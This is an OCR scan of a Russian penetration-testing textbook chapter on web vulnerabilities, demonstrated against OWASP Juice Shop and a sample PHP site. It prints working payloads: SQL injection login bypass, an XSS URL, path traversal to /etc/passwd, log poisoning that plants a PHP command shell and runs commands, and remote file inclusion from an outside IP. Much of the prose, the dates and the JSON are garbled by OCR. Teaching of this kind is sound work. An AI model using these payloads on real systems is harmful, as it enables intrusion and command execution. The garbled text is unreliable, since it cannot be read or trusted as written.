X-RateLimit-Limit: 108
X-RaleLimil-Remaining: 99

Date: Thu, 11 May 2823 B88:34:16 GMT

{"user":{"id":24,"username":"","email": "test@test.com", "password":
"1bd/sadafcasaazddaiadiiciars?eh9 /4™, "role” 1 "customer™, “deluveloken™ 17", “lastloginip”:
“undefined”, "profileImage”:"/assets/public/images/uploads/default.svg”, “totpSecret”:"",
"isActive":true,'createdAt”:"2023-05-10T12:27:32.7442", "updatedat”:
TUP3-B5-11108:34: 16,9477, "deletedar :null}}

Find:

| 4 ¥ No matchesTime: 52 ms Body Length: 349 Tolal Length: 817 byles

Puc. 7.10. MonyyeHHbIN 0TBET

[Ipoanasusupyem mose password. Mbl BUAUM, 4TO TIAPOJIb TIEPEIAETCA B 3amndpo-
BAHHOM BHU/IE, HO KAKOW aJITOPUTM UCTIOJB3YETCS UIsT 0OecTiedeHus He30macHOCTH?
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[TonpobGyiiTe OTKPBITH JTE0OON aHaM3aTOp Xeueil (puc. 7.11), paxe HalljgeHHBIN
yepes Google OHIAlHOBBII [TOKAXkKeT, 4TO JJIsI CO3aHu Xella ucroabsyercs MDS5.

Hash Analyzer

Tool to identify hash types. Enter a hash to be identified.

76a01bafedBa9619aa367fd320595277

Hash: 76a01bafedB8ag619aag67idi2o595277
Salt: Not Found

Hash type: MDs5 or MD4

Bit length: 128

Character length: a2

Puc. 7.11. AHanus xewa napons

MD5 (Message Digest Algorithm 5) — mumpoko usBecTHbIiH KputrtorpaduaecKuii
Xelll-aJIropuT™, cosdranubiii Ponanbgom Pusecrom B 1991 rony. Oun renepupyer
128-6uTHBIH Xell U3 BXOAHBIX JaHHBIX U 9aCTO WCIOJb30BAJICS /sl TPOBEPKH
1esIocTHOCTH (hailsioB U XpaneHus maposieil. OHaKo Ha CETOHANIHUN IeHb UCTIOIb-
soBarrie MD5 omacHo 13-3a psiia 0OHAPYKEHHbIX YSI3BUMOCTEH, TAKUX KaK BO3MOJK-
HOCTb KOJIJTU3UIA (Pa3Hbie BXO/[HbIE JJAHHbIE, KOTOPbIE TeHEPUPYIOT OJIMHAKOBbIN XellT )
1 OTHOCUTEIBHO HU3KAS BBIYMCAUTETHHAS CIOKHOCTD QJITOPUTMA.

NHBbEKLMN

Nubeknun, uian saeapenust (Injections), — aTo TUIT ySI3BUMOCTH BeO-TIPUIIOKEHUTI,
TIPU KOTOPOM 3JI0YMBITIIJIEHHUKN MOTYT BCTaBUTh BPEIOHOCHBIE JTAHHBIE B 3aITPOCHI
WJIM KOMaH/Ibl, OTIIPABJIsieMble BEO-IIPUJIOKEHIEM, DT JaHHbIE MOTYT 3aTeM ObITh
BBITTOJIHEHBI MHTEPIIPeTaTOpPoM (6a30i1 JaHHBIX, OTIEPAIIMOHHON CHCTEMOH, BeO-
CEpBEPOM U T. I1.), YTO NPUBOJIUT K HECAHKIIMOHUPOBAHHOMY JIOCTYILY, U3MEHEHUIO
WJIW yIAJIEHUTO TAHHBIX, HAPYIIEeHUTO (hyHKIIMOHATBHOCTH TTPUJIOKEHUS U IPYTUM
HevKeJIaTesIbHbIM 1I0CAeICTBUAM.
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Camblil pacnipoctpanennblii Bu unbekiuit — SQL-unbexnusa (SQL Injection), npu
KOTOPOI 3JTIOYMBITIEHHUKH BCTABJISIOT BPEIOHOCHDIH SQL-K0/1 B MOJIb30BATETbCKUI
BBOJI WJIM 3aIIPOCHI K 6ase HaHHbIX. Ecim BeO-1ipuiokenue He oOpabaTbiBaeT BBOJIL
KOPPEKTHO U TTO3BOJISIET BBITIOJIHEHNE TAKUX 3aITPOCOB, aTAKYIOMIME TI0JIyYaT JOCTYT
K 6ase JIaHHBIX, CMOTYT U3MEHSTh UJIH YAAJIATH JAHHbBIE 1 aKe BBIOTHSATH KOMAH/IbI
Ha yPOBHE OMEPAIIMOHHON CUCTEMBI.

[Tomumo SQL, cymecTBYIOT U APYTHE BUAB MHDBEKIINI: MHBEKIINI KOMAH]
(Command Injection), uabekiuss LDAP (LDAP Injection) u unabekius XML
(XML Injection).

SQL-nHbekumnn

[lng gemonctpanmu poctoro caydas SQL-wHbeKITNNT BO3bMEM 3a1TpOC, KOTOPHIT
MpeHa3HAYEH JIJIs TOJTyYeH U JaHHBIX KOHKPETHOTO MOJIb30BATE ST U3 TaOJIHUIIbI
b/l users:

SELECT * FROM users WHERE uses_id LIKE 'current_user'

[Ipenmosiosknm, 4TO TPOTPAMMUCTBHI He TOTPYAUINCH PEaN30BaTh TPOBEPKY TAHHBIX,
BBOAMMBIX TTOJIH30BATEISIMHI, HA OJTHON M3 cTpaHuIll caifta. [lomb3oBaresb BBOAUT
CIIELYIONIYIO CTPOKY B 00LIENOCTYIIHYIO (hOPMY:

%' —
B atom CJay4dae 3a1pocC K Oase JITaHHbBIX 6y11€T N3MEHEeH:

SELECT * FROM users WHERE uses_id LIKE '%'--current_user'’

[Ipunoxenne 106aBUIO BBeAEHHbIE AaHHbIEe K SQL-3a1poCy, ONIMHOYHbIE KABBIYKL
3aKPBIBAIOT 3aIPOC, a BCE, YTO CJIE/YeT 3a --, BOCIPUHUMAETCS KaK KOMMEHTAPUIA.
B pesyibraTe 3anpoc OyeT BhITJISIETh CAEAYIONIM 00pasoM:

SELECT * FROM users WHERE uses_id LIKE '%'

% B JAHHOM CJy4ae 0003HAYaeT BCe BO3MOJKHbIE JAHHbIE. A 5TO 3HAYUT, YTO IOCJIE
BBIIIOJTHEHMS 3aIIpOCa aTAKYIOUIMIA MOJYYUT JOCTYII HE TOJABKO K JaHHBIM CBOETO
MOJb30BaTeI, HO U K JaHHBIM BCEX OCTAJbHBIX IT0JIb30BaTeNel, ColepKalIXCs
B TaOJIUIE USers.

SQL-uHBEKIIUYT MOKHO KIaccuUIpoBath 1Mo hopMaM WJIn MeToZaM ataku. Bot
HECKOJIBKO CAMBIX PACITPOCTPAHCHHBIX (hOPM:

e In-band SQL-Injection, Takske M3BeCTHAS Kak Kiaccnueckast SQL-MHBEKIHS:
bopma ataku, Tpu KOTOPOI 37I0YMBITIIJICHHUK BCTaBJISET BPEAOHOCHBIN SQL-Kkoz
B IIP€/IHA3HAYCHHYIO /IS [I0JIb30BaTe el GopMy BBOJIA, a PE3YJIBTAThl 3a11poca
BO3BPAIAIOTCSI Y€PE3 TOT JKe KaHaJ, YTO ¥ OPUTHHAIBHBII 3a1poc. ITo HanboJee
MPOCTOI M PACIIPOCTPAHEHHBII THT aTaKH;

e Error-based SQL Injection: 310yMblIJIeHHUK MCIIOJAb3YET BXOIHbIE TaHHbBIE,
KOTOpbIe TPUBOJAT K omubke B SQL-3ampoce, 17151 mojaydeHust HHGOpMAIUu
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O CTPYKTYypeE 6aspl JaHHBIX UJIN COACPKUMOM Ta6JII/H_I; OTBET ¢ OMMUOKON MOKET
COEPIKATh IIEHHYIO I/IH(i)OpMaHI/IIO UL aTaKYIOIIETO;

e Union-based SQL Injection: B gauHoii (hopMe 3JI0YMBIIIJIEHHUK UCTIOTb3YeT
onepatop SQL UNION st 00beHeHIs PE3YJIbTaToOB BPEJLOHOCHOIO 3aIPOCca
C pe3yJiETaTaMi OPUTHHAJIBHOTO 3aIPOCa, YTO MO3BOJISIET TIOYUUTh JaHHbIC U3
Apyrux Tabauil B 6ase JaHHBIX;

e Blind SQL Injection: B 9TOM cjIy4ae 3JI0yMbIIUIEHHIK HE BUAUT PE3yJIbTaTOB
BBITIOJTHEHUS 3aMPOCa HATIPSIMYIO, HO MOJKET JIeJIaTh BBIBOJBI O CTPYKTYpe Oasbl
MAHHBIX T COIEPKUMOM TabJIUIL, 3a/1aBasT NCKYCCTBEHHBIE YCIOBHST 1 HAOIOMAST
3a mosezierveM BeO-mpuokenusa. CyrectByer nBa moatuma SQL-uHbekinit
<BCJICILYIO»:

¢ Boolean-based (1ra octoBe 6yIeBBIX 3HAUEHII): 3MOYMBIITIEHHIK UCTIOTH3YET
OIepATOPBI CPABHEHHSI U JIOTHYECKHE OIEPATOPBI, 4TOOBI T0IyYaTh HHbopMa-
IIUI0 O IAHHBIX HA OCHOBE HCTUHHOCTHU UJIH JIOKHOCTH Y CJIOBHST;

¢ Time-based (Ha ocHOBe BpeMeH1): 3JI0YMbBIILJIEHHUK 3a/a€T YCJO0BHA, KOTO-
pble 3aCTaBJISAIOT Ga3y MaHHBIX 3a/EPKUBATh OTBET HA OIPEAETICHHOE BPEMSI,
1 HabJII0aeT 3a BpeMeHeM OTBeTa BeO-TIPUJIOKEHHUsI, YTO TI03BOJISIET JeJIaTh
BBIBO/IBI O JIAHHBIX;

e Out-of-band SQL Injection: 3710yMbIIIIEHHUK 3acTaBjisieT 0asy AaHHBIX Hepe-
JlaTh JAHHbIE YePe3 OT/AeMbHBII KaHasl, HalpUMep, OTHPaBUTh MH(MOPMAIMIO Ha
yAAJIeHHbBII cepBep WK 10 9JEKTPOHHOMN 110uTe; 9T0T TUIl SQL-MHBEKIMU HC-
IOJIb3Y€ETCS, KOT/Ia IPYTHe METO/IbI aTaKK OKa3bIBAIOTCS HEd((HEKTUBHBIMU UITH
KOT/Ia aTaKyOIMii He MOKET MOJTyYUTh JAHHBIE HATIPAMYIO;

e Second-order SQL Injection: 6oJiee ciioskHas (hopMa aTaku, IIPK KOTOPO BPe1o-
HOCHBII KOJ| cCOXpaHsieTcsl B 6ase JaHHBIX U 3aTeM UCIIOJIb3YETCs B IOCAEAYIOUINX
3ampocax, BbI3biBast BHepeHre SQL-Ko/a; 37T0yMBIIIJIEHHIK MOKET UCTI0Jb30-
BaTh ATOT METO/I, KOT/Ia PUJIOKEHNE TTPOBEPSIET TIOIH30BATENBCKUI BBO TOJIHKO
Ha IMePBOHAYAIBHOM 3TaTle.

Teneps, Korga Mbl 3HaeM 06 SQL-MHBEKIIUAX HEMHOTO GOJIbIIE, ONIPEAETUM 00IIIe
IIATH, KOTOPbIe HEOOXOAMMO CAEJIATh AJIS IOUCKA TAKOIO TUIIA YSI3BUMOCTEI:

® uAeHTU(hUKAINS BXOJAHBIX TOYEK: CHAYAIA HEOOXOANMO OIPE/ICJUTh BCE MECTA,
r/ie IPUJIOsKeHUE TIPUHUMAET TT0JIb30BaTeJIbCKUE IAHHBIE: TI0J151 BBOJIA, IIOMCKOBbIE
ctpoku, URL-napameTpsl 1 T. 11.;

® 1IPOOHOE TECTHPOBAHME: MCIIOMb3YS KAyKLYIO HAMJICHHYIO BXOJIHYIO TOUKY, TOIPO-
OyiiTe BBOANTH CUMBOJIBI MJIH CTPOKH, KOTOPBIE MOTYT BbI3BATh HEMPEABUACHHOE
HOBeIeHUE TPUJIOKEH IS UK oIMOKy 6as3bl Janubix. Beogsa cumsons ', ", 5, (, ),
-- U T. 1L, oOparaiiTe BHUMaHKE Ha JI0Oble M3MEHEHMS B IOBEACHUM TPUI0KEHUS
WJIN Ha TTOSBJIeHNe cO0OIIeHnH 06 ommoKax;

® (1)3331/IHI‘Z B CJjIydae O6Hapy>K€HI/IE[ TTOMO3PUTEIBHOTO IMMOBEACHMA UJIN omnboK
HOHpO6yf/’IT6 HCIIOJIb30BATb METO/I, TP KOTOPOM BbI TCHEPUPYETE U OTIIPABJIACTE
60JIbIII0E KOJIMYECTBO Pa3IMYHbIX JaHHbIX AJIAA IIPOBEPKU YA3BUMOCTU CUCTEMbI
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(MOKHO HCITOJIb30BATH CIIEIMATM3UPOBAHHBIC MHCTPYMEHTHI JIJIsT (Da33uHra —
SQLMap nnu Burp Suite);

® HKCIUIyaTallUst: eCIU Bbl OOHAPYIKUIIN MOTEHIIUATBHYIO YSI3BUMOCTb, TIOTIPOOYii-
Te AKCILUIYaTUPOBATD €€ € TTOMOIIbIO0 Pa3IndHbIX SQL-UHbEKITMOHHBIX TEXHUK:
UNION-unbeKkium, nHbeKIUU ¢ uctosib3oBanueM orepatopa AND unun OR,
YCJIOBHBIE MHBEKITUN U T. 1. Ecii BaM yaeTcst yCIenrHo aKCIIyaTupoBaTh ysi3-
BHUMOCTb, 3TO IoATBep:RAaeT Hamnune SQL-MHbeKINU B TPUIOKEHUN;

® JIOKyMEHTHPOBAHUE U OTYETHOCTD: 3aMUIINTE BCe OOHAPY/KEHHBIE YA3BUMOCTH,
METO/bI 9KCILTYaTallu ¥ PEKOMEHAAINY 110 UCIPABICHUIO — 3TO TOMOKET Pa3-
paboTUMKaM YCTPAHUTH YA3BUMOCTHU M YJIYUIIUTh OE30MACHOCTD MTPUIOKEHUSI.

[TomMuMO pyyHOrO TECTHPOBAHUS, UCTIOIB3YIOTCS AaBTOMATU3UPOBAHHbBIE MHCTPYMEH-
TBI JIJ11 CKAHMPOBAHUS YSA3BUMOCTEM, KOTOPbIE MOTYT UACHTUMUIIMPOBATD U SKCILILY-
aTupoBath SQL-UHBEKIINU U JPYTHE YA3BUMOCTH BEO-TIPUIIOKEHUIA.

II]IH JAEMOHCTpPAIINM CaMOT0 ITPOCTOTIO BapraHTa NMHBEKIINN Honp06y171Te BBECTU Ha
CTPpaHUYKE aBTOPpU3allun C]IelIyIOHII/Ifl 3allpocC:

'OR 1=1--

IIpu 5TOM mAPOJIb MOKET OBITH JIOOBIM, a B pe3yJbTaTe Bbl YCIIEIIHO BOIAETE B CHI-
cremy (puc. 7.12).

L OWASP Juice Shop  x (1 Setings * | L OWASPJukceShop x4 -
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Puc. 7.12. SQL-nHbekums
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B SQL onepatop OR BepHeT ucTHHY, ecii X0Tst Obl OJIHA U3 €ro yacTeil BepHa. Tak
kak 1=1 Bcerjia HCTUHHO, TO BCE BBIPAKEHNE UCTUHHO. ITO COOOIIUT CEPBEPY, UTO
AJIEKTPOHHASI TI0UTA JIEHCTBUTEIbHA, U Oy/IET BBIIIOJHEH BXO/I B CHCTEMY C H/IEHTH-
buxaropom mosb3oBatesst 0, KOTOPBIH ABJIAETCS YUYETHON 3aTUCHIO AIMUTHUCTPATOPA.

MexxcanToBbIM CKpUNTUHTE (XSS)

XSS — Tum araku Ha ITOJIb30OBaTeEJIA, KOTOprfI OCYHIECTBJIACTCA 6ﬂar0z[apﬂ BKJIIO-
YCHHIO B Be6-HpI/IJIO>KeHI/Ie KO/Jla 3JIOYMbIIIJIEHHUKA. Yare Bcero TaKOMY TUILY aTakK
TIOZABEPIKEHDI ITPUJIOKEHU A, B KOTOPBIX OTCYTCTBYET ITPOBEPKA BBE/ICHHBIX 110JIb30Ba~
TeJeM JJaHHbIX. CKa)KeM, B IIOJIE€ M4 TIPU PETUCTPAIIUU I10JIb30BATEJIb MOKET BBECTU
He TOJIBKO 6yKBbI, HO U cliellaJIbHbIe CMMBOJIbI, TaK11€ KaK Ne nm *, XO0T4d B UMeHun
He TOJIXKHO OBITh ClienaJIibHbIX CUMBOJIOB.

3JI0yMBIIIIEHHUKI OOBIYHO MCIIOAB3YIOT JavaScript, HO yYuThIBas pasHOOGpasue
HOZIEP/KUBAEMBIX Opay3epOM TEXHOJIOIHIA, BOSMOKHBI 1 IpyTrre BapraHTbl. CaMbIMu
YaCTBIMU I[eJISIMU TAKOTO TUIIA aTaK SIBJSIOTCST: Kpaka cookie-aiina mosp3oBareis,
B3aMMOJIENICTBIE C TIEPeIaBaeMOli BO BpeMsi cecCry MH(pOPMaIlnei, mepeHarpaBjieHme
110J1b30BaTeJIs Ha APYTOil cailT.

Cy1ecTBYIOT TPU OCHOBHBIX THTIA XSS-aTak:

o Reflected XSS (orpakeHHbliT). 3710yMBIIUIEHHUK BHEAPSAET BPEIOHOCHBI KO
B ccpiky (URL). Korma sxkepTBa 1mepexouT 1Mo CChIIKe WM OTTIPaBsieT hop-
My, BPEIOHOCHBII KOJ BBIOJIHSIETC B ee Opaysepe. Takoil Tuil ataku 00BIYHO
TpebyeT, 4TOOBI 3II0YMBIIIEHHUK YOEIUIT JKEPTBY MEPEUTH TI0 CIIEIHATBHO IO/
FOTOBJICHHOM CCBLIKE.

e Stored XSS (XpaHUMBIi, TOCTOSHHBIN). B 9TOM ci1ydae 3/10yMBIIIJIEHHUK COXPa-
HSET BPEJIOHOCHBIN KOl Ha BeO-caiite, 1 OH Gy/IeT 3arpysKaThCst U BBITIOTHSITHCSI
HA CTOPOHE KJIMEHTA KaXK/[blil pa3, KOT/A [0JIb30BATeNU [IPOCMATPUBAIOT COOT-
BETCTBYIOIIYIO CTPAHUILY. TUITHYHbIE MECTA, T7Ie MOKET XPAHUTHCST BPEIOHOCHBII
KOJI: KOMMEHTapUH, COO0IIeHUsT Ha hopyMe, myOinuKaiui B 6Jiore.

e DOM-based XSS (ocuosannsbiii Ha Document Object Model). BpexonocHbrii
KO/l BHE/IPSIETCS U BBITIOJNHAETCSA B pesyabrare 06pabotku DOM-cTpyKTypbl
BeO-CTPaHUIBI Ha CTOPOHE KJIMEHTa 6e3 IPSAMOro B3aMMOJIEHCTBUS C CEPBEPOM.
3JI0yMBITIJIEHHUK UCTIOJIB3YET YSA3BMMOCTH B KoJle JavaScript, 4ToObI MAaHUITYIH-
poBaTh JaHHBIMU 1 M3MeHATh DOM, 4TO MPUBOANT K BBITOJHEHUIO BPEOHOCHOTO
Kozia B Gpaysepe KepTBbL.

Jlist ieMOHCTpaIuu JAHHOTO MeTo/a monpobyeMm moauduiuposarh URL moncka
Juice Shop. TTyctb OH Oy€eT BBITJISIIETD TaK:

http://kali:42000/#/search?q=<iframe%20src%3D"javascript:alert(%60xss%60)">

B pesyibraTe nepexojia mo TaKoil CChIIKE MbI TIOTyurM coobtenne xss (puc. 7.13).
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Puc. 7.13. YaauyHasa XSS-ataka

MHbekumnsa Koaa

Nubexius koxa (Code Injection) — THIl aTaku, IPU KOTOPOM 3JI0YMBbILILIEHHUK
BHEJIPSIET B TIPUJIOKEHNE BPEIOHOCHBII KOJI, BBITOJHSIONIUIICS 3aT€M B KOHTEKCTE
MPUJIOKEHUS Win cepBepa. [IpuMepsl atak ¢ UCIONIb30BAHNEM MHBEKITUN KOJIa:

e VnanenHoe soinosinerne koga (Remote Code Execution, RCE). Stor Tum ataku
MIO3BOJISIET 3JI0YMBIIIJICHHUKY Y/IaJIeHHO BBIITOJHATD IIPOU3BOJIBHBIN KO/ Ha 1ie-
JIEBOM CepBEpE, OOBIUHO YePe3 YA3SBUMOCTHU B BEO-TIPUIIOKEHUHT VI €T0 CIYKOAX.
ATakyomuil MOXKET [MOJIYYUTh IMOJHbIA KOHTPOJIb HAJl CACTEMOHN, YCTAHOBUTH
BpenorocHoe 11O, BBIKpacTh JaHHbBIE U BBITIOJHUTD JIPYTHE A€HCTBUS.

e Brkurouenue yiokasbhbix daitios (Local File Inclusion, LFI). B ganHowM ciryuae
3JI0YMBIIIJIEHHUK UCIIOTb3YET YSI3BUMOCTHU B TIPUJIOSKEHIH [T BHEIPEHUST U BBI-
MOJIHEHUsT JIOKATbHBIX (DailioB Ha cepBepe. DTO MOXKET ITO3BOJIUTH ATAKYIOIEMY
YUTATh KOHPUIEHI[MATbHbIE (DAIBI, TOTYyYaTh OCTYI K IAHHBIM VU BBITOJIHITD
KOJT Ha cepBepe. Hamprmep, ecim MpIIoskeHe HeMPaBUILHO 00pabaTHIBAET BBOJT
TIOJTB30BATEJTS TIPH 3arpyske (aiisia, 3ITOYMBIIIEHHUK MOKET 3aCTaBUTH CepBep
3arpy3UTh U BBIIOJTHUTD (Al ¢ BPEZOHOCHBIM KO/IOM.

e Uubekuus cepepubix mabaonos (Server-Side Template Injection, SSTI). Tum
aTaKu, B KOTOPOM 3JIOYMBIIILIEHHUK BHEPSIET BPEJOHOCHBINA KO B MAGJOHBI
cepBepa, UCIIOJIb3yeMBbIe /1715 TeHeparui BeG-cTpanutl. Eci cepsep He biibrpyer
WJTH He TTPOBEPSIET TIOIH30BATENHCKIUH BBOJ TTepell 06paboTKOI MabI0HoB, 3710~
YMBITIEHHAK MOKET BHEAPUTD KOJI, KOTOPBIH 3aTeM Oy/IeT BBIMOIHEH Ha CEPBEPE,
U MTOJIYYUTh IOCTYI K CUCTEMHBIM PeCypCaM.
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MHbekunsa KoMaHAa

Nubekis komana (Command Injection) — Tuit ataku, TP KOTOPOM 3JI0YMBITILICH-
HUK BHEJPsET U BbIIOJHSET IIPOM3BOJIbHbIE KOMAH/[bl Ha OllePallMOHHON cucTeMe
depes ysI3BuMoe Beb-mprtoxkeHue. [IpruMepsl aTak ¢ UCOIb30BAHUEM WHBEKITUH
KOMaH/I:

e Ucnoab3oBanue HeGEe30TMACHBIX BBI30OBOB CUCTEMHBIX GyHKINit. Ecan Beb-
MPUIIOKEHIE HETPABUILHO 00pabaThiBaeT MOIb30BATETbCKUIT BBOJ U TIEPEIAET
€ro CUCTeMHBIM (QYHKIMAM 6e3 MPOBEPKU WIIH OTAETCHUsST KOH(DUAEHITMATBHOI
nHOOPMAINH, 3JI0YMbBIIIJICHHIK MOKET BHEJIPUTH KOMAH/IbI, KOTOPbIE OyIyT
BBINIOJTHEHb! Ha cepBepe. Hanpumep, atakyiolnii MoxeT BOCIIOJIb30BaThCs ysi3-
BUMOCTBIO B BbI30Be (hyHKIMK exec() B PHP g BItoSIHEHUS TIPOU3BOTHHBIX
KOMaH/l Ha cepBsepe.

o Uuwbekiusa koman yepe3 nmapametpbl URL. 370yMBIIIJIEHHUK MOXKET UCITOIb-
30BaTh yI3BUMOCTH B 06paboTke napamerpos URL BeG-puioKeHus st BHe-
IPEHUst KOMaH/[, KOTOPble 3aTeM Oy/IyT BBIIIOJHEHBI Ha cepBepe. Hampumep,
ATaKYIOIUH MOXKET BOCIIOJIb30BAThCS HEMPABUIIbHOM 06pabOTKOI apamerpa
ping B CKPUIITE, UCIOJb3YEMOM JIJIST TPOBEPKU IOCTYMTHOCTHU YAAJIEHHOTO XOCTa,
U BHEJIPUTD JIOTOJTHUTETBHBIE KOMAH/IBI, KOTOPbIE GYIYT BHITIOJHEHDI Ha CEPBEPE.

o Unpekuus koman yepes 3arojaosku HTTP. Be6-npuiiosenusi, KoTopbie Helpa-
BUJIbHO OOpabarsiBatoT Bxosiiie 3aroiopku HTTP (Hanpumep, User-Agent
Referer), Takske MOTYT OBITH YSI3BUMBI JIJIST aTaK HHBEKIMHA KOMAH/[. 3JI0YMBIIII-
JIEHHUK MOJKET BHEZIPUTD TIPOU3BOJIbHBIe KOMaH/Ib! B 3arosioBkax HT TP, kotopere
3aTeM Gy/IyT BBITIOJHEHDI Ha cepBepe Tpr 06paboTKe 3ampoca.

BkntoueHne nokasnbHbIX UK yaaneHHbIX ¢annoB

M3-3a m10xo HamcanHoro koxa PHP 1 HekoppeKTHO CKOH(DUTYPUPOBAHHOTO BEO-
cepBepa y 3JIOYMBIIIJICHHUKA YaCTO MOSIBJASETCS BOBMOKHOCTD BKIIOUNUTD JTAaHHBIE
13 JIOKAJIbHOTO WJIM HAXOJSAIIErOCsT Ha YIaJIeHHOM cepBepe (haiijia B MCITOJTHIEMbII
PHP-xox.

Hawnnyunmmm BapuaHTOM JIJIST aTaKyIOMIETr0 OKa3bIBaeTCs CIydail, Korja cucremMa
M03BOJIIET OpaTh JaHHbIE U3 JIOKATBHOTO (hailjia, — 9TO 3HAUYWT, UTO 3a/[a4a B3JIOMA
cepBepa CTAaHOBUTCS TPUBUATBHON U JIETKO PEIaeMOI.

[TocMoTpuM cHavasa, Kak Bee paboraer Ha CTOpoHe cepsepa. [Ipeanoaoxum, 4To
Ha caiiTe ecTb BO3MOXKHOCTbh MEHSITh 1[BETOBYIO NaJauTpy. /J1s1 3TOro nporpaMmucT
HaImcas caeyonnii Ko;

<?php
if ( isset( $_GET['COLOR'] ) ) {
include( $_GET['COLOR'] . '.php' ); } 2>

<form method="get">
<select name="COLOR">
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<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>

O6paTI/ITe BHUMaHUWE, YTO BBE/ICHHbIC /ITaHHbIE HUKAK HE ITPOBEPAIOTCA. WNamenenns
TIPOUCXOAT Cpa3y K€, KaK TOJIbKO ITOJIb30BaTEJIb Bbl6epeT IIBET.

Terneps, ecaiut Mbl IPaBUIIBHO CHOPMEPYEM 3a1IPOC, TO HA CEPBEPE I10]1 YIIPaBJIeHNEM
OC Linux cMO’keM HOJTYIUTD XeIH mapoJietl.

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
bob:x:500:500:bob:/home/bob:/bin/bash
alice:x:501:501::/home/alice:/bin/bash

Ho unorza Takoil MeTos MoskeT He cpaborarb. Ecii Bbl BHUMATEJIbHO YUTAINA KO,
IPUBE/ICHHBII BbIIIE, TO MOTJIM 3aMETUTD: CEPBEP JK/ET, 4TO Ha BXoje Oyzaer (dailin
¢ pacmmpenuem php. CrenoBaTenbHo, HALT 3aIIPOC HEMHOTO TPEOOPABUTCSL:

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd.php

A 5TO 3HAUMUT, YTO MOIBITKA OKAKETCS HeyJauHOM, BeJlb B cucteMe HeT (paiiia passwd.
php. Ecii BBI CTONKHYINCH ¢ TAKOI CUTYaIleld, To IIpobaeMy MOKHO PEIIUTh, 10~
6aBUB B KOHIIE CTPOKH %00:

http://dummyhost.net/preview.php?file=../../../../../../etc/passwd%00

Onmako He BceT/ia MOXKHO Cpa3y TOMYINTh Xeln maposeit. TTompobyem moayanTh
JIOCTYII K KOMAH/IHOI CTPOKe cepBepa. Mbl cpa3y ke CTaJIKuBaeMcs Co cierylolieil
npobIeMoil — Ha cepBep He 3arpyskeH (aiisr ¢ HyKHBIM KOJOM.

WuTepecHo To, 4TO Mbl MOXKEM 3aCTaBUTh CEPBEP 3aIUCATH HAIII KO/ B OJIMH U3 CBOUX
JIOKAJTBHBIX (DAIIIOB, a 3aT€M MBI TPOCTO C(hOPMUPYEM HY;KHBIN 3aITPOC.

Wcnonb3yst netcat, MOAKIIOUNMCS K YAAJEHHOMY CEPBEPY M B Ka4eCTBE 3a1poca
OTIIPaBUM HATIMCAHHBIN 3apaHee ko, Koneuno, ceccus sagepuiurest onmmbKoil, Beiib
cepBep He CMOKeT 00paboTaTh HAII 3AIIPOC, OTHAKO U 3A1TPOC U coobIeHne 00 omub-
Ke OY/IyT COXpaHEeHbI B JIOT-(haiiy. Mbl 3HaeM €ro TOYHOE MECTOPACIIOTIOKEHNUE, a 9TO
3HAUMUT, UTO BCE COMAEPKUMOE JIor-(hailjia, B TOM YHCJIe U HAlll Kojl, Oy/IeT BKIOUEHO
B HCTIOJTHSIEMBIH (haiiyT ¥ BBITTOJHEHO.

root@kali:~# nc localhost 80
GET /<?php systen($_GET['cmd']); 2>
HTTP/1.1 404 Not Found



He6e3onacHbiv av3anH 227

Date: Mon, 02 Jan 2023 16:35:31 GMT

Server: Apache/2.4.7 (Ubuntu)

Content-Length: 276 Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>404 Not Found</title>

</head><body>

<h1l>Not Found</hl>

<p>The requested URL was not found on this server.</p>
<hr>

<address>Apache/2.4.7 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

Besa nndopmariiys o JaHHOM ceccuu, BKIIIoYas 3a1poc, Oblia coxpaHeHa B jior-gdaiie
/var/log/apache2/access.log. CchopmmpoBaB TpaBUIBHBIN 3aTTPOC, MBI CMOKEM BBITIOJ-
HATH KOMaH/Ibl Ha cepBepe, HanpuMmep ifconfig:

http://dummyhost.net/preview.php&cmd=ifconfig&?file=../../../../.. /.. /.. [..[../
var/log/apache2/access.log%00

3aj1aua CTAaHOBUTCS COBCEM TIPOCTOI, KOT/IA €CTh BO3MOKHOCTb 3arPY3UTh YIAT€HHbII
aiis. Harpumep, cospaaum Ha cepsepe ¢ IP-agpecom 123.45.250.18 aiin test.txt.
Ccblika JI7Is1 ySI3BUMOTO cepBepa Oy/IeT BBITJISIIETD CIEAYIONIUM 00Pa3oM:

http://dummyhost.net/preview.php?COLOR=http://123.45.250.18/test.txt%00

Hebe3onacHbI An3amnH

Heb6esomacubiii auzaiit (Insecure Design) — THIT yI3BUMOCTH BeO-TIPUIIOKEHUTI,
CBSI3AHHBII C HEMPABUIBLHBIM UM HEOCTATOUHBIM YYETOM aCTIEKTOB GE30MacHOCTH
Ha 9Tare ux MpOeKTUPOBaHYs U pazpaborku. HebGezomacHbIi AU3aiiH MTPUBOINT K CO3-
JIAHUIO YSI3BUMBIX CHCTEM, KOTOPbIE MOTYT GBITh ATAKOBAHBI U TIPOIKCILITYaTHPOBAHbI
37I0yMBITIJIEHHUKAMU.

OcHoBHbIE TIPUYMHBI BOSHUKHOBEHUA yHSBI/IMOCTef/,I n3-3a HeOEe30MMacHOTo 111/13a171Ha:

e HemocraTounoe mranupoBanme n ananns 6ezomactoctu. IIpoektrposariie 6e30-
MTACHOTO MPUJIOKEHHS TPEOYET TPAMOTHOTO ydeTa BCEX acleKTOB He30MacHOCTH
Ha Bcex aTtamax pazpaborku. Ecin pa3paboTunku U apXUTEKTOPbI HE YAEISIOT
JOJIZKHOTO BHUMAHUST Ge301IACHOCTH U He POBOJISIT AHAJIU3 PUCKOB, TPUJIOKEHUE
MOJKET COJIEPKATh CePbe3HbIE YA3BUMOCTH.

e HemnpaBuiabHOE UCTIOJB30BaHNE WJIH KOH(MUTYpaAIlUs KOMIIOHEHTOB. B ciyuae
HEIPaBUJIbHOIO UCIIOJb30BaHN UM KOH(MUTYpALUU CTOPOHHUX KOMIIOHEHTOB,
6ubarorek u hpeiMBOPKOB 3JIOYMBINICHHIK MOXKET MOJYYUTh JOCTYI K KOH-
bunenmaTHHBIM TAHHBIM.

e OrcyrcTBUe WK cjabble MEXaHU3Mbl ayTeHTU(DUKAIMK 1 aBTopusaiuu. 11o-
